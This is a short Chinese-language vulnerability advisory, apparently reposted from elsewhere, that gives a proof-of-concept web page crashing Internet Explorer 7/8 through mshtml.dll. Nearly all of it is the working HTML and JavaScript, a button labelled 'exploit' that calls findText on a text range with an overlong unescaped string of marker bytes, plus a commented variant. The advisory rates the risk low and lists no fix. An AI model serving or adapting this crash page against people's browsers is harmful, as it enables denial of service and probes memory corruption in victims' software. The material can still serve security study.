| 关键词: Crash Explorer Internet findText 面的 危险 解决方案 等级 错误 版本 |
Mshtml.dll Impact: MS Internet Explorer 7/8 Crash 解决方案:未知 危险等级:低 描述: 下面的错误是测试最新版本的Internet Explorer7/8 程序代码 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head><title>IE findText crash</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body> <input type="button" value="exploit" onclick="do_crash();"> Hit the button after ie7/8 crash.. <script> function do_crash() { var o1=document.createElement("input"); o1.type="text"; //or password o1.id="powerhacker"; o1.value="AAAA"; document.body.appendChild(o1); var r= o1.createTextRange(); r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1); //maybe string length allocated stack but over length allocated heap memory //r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072); //this code is no crash becase 3 parameter } </script> </body></html> <html><body></body></html> |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|